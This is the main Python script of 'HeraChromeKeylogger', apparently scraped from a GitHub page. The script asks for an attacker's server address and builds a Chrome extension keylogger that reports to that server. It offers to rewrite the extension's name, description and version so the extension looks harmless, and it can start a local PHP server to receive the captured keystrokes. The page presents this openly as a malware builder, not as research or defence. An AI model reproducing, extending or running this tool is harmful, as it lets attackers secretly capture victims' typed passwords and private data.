-
Notifications
You must be signed in to change notification settings - Fork 104
/
hera.py
72 lines (59 loc) · 1.95 KB
/
hera.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!/usr/bin/env python3
######################################################
# #
# HeraChromeKeylogger #
# #
# by: UNDEADSEC #
# #
# Telegram Group: https://t.me/UndeadSec #
# YouTube Channel: https://youtube.com/c/UndeadSec #
# Twitter: https://twitter.com/UndeadSec #
# #
######################################################
from sys import exit, version_info
if version_info<(3,0,0):
print('[!] Please use Python 3. $ python3 hera.py')
exit(0)
from core.view import *
from core.pre import *
from core.builder import *
if checkPHP() == False:
phpNot()
exit(0)
def main():
printQue('Insert your server ip/domain:')
domain = input(' > ')
if 'https://' in domain:
domain = domain.split('https://')[1]
prefix = 'https://'
elif 'http://' in domain:
domain = domain.split('http://')[1]
prefix = 'http://'
else:
prefix = 'http://'
build(prefix, domain)
printQue('Edit manifest informations (i.e: name) [y/n] ?')
editManifest = input(' > ')
if editManifest.upper() == 'Y':
printQue('Insert a new name:')
newName = input(' > ')
printQue('Insert a new description:')
newDesc = input(' > ')
printQue('Insert a new version number:')
newVersion = input(' > ')
editMan(newName, newDesc, newVersion)
done()
printQue('Start local php server [y/n] ?')
server = input(' > ')
if server.upper() == 'Y':
runServer()
if __name__ == "__main__":
try:
clear()
checkEd()
head()
pre()
main()
except KeyboardInterrupt:
end()
exit(0)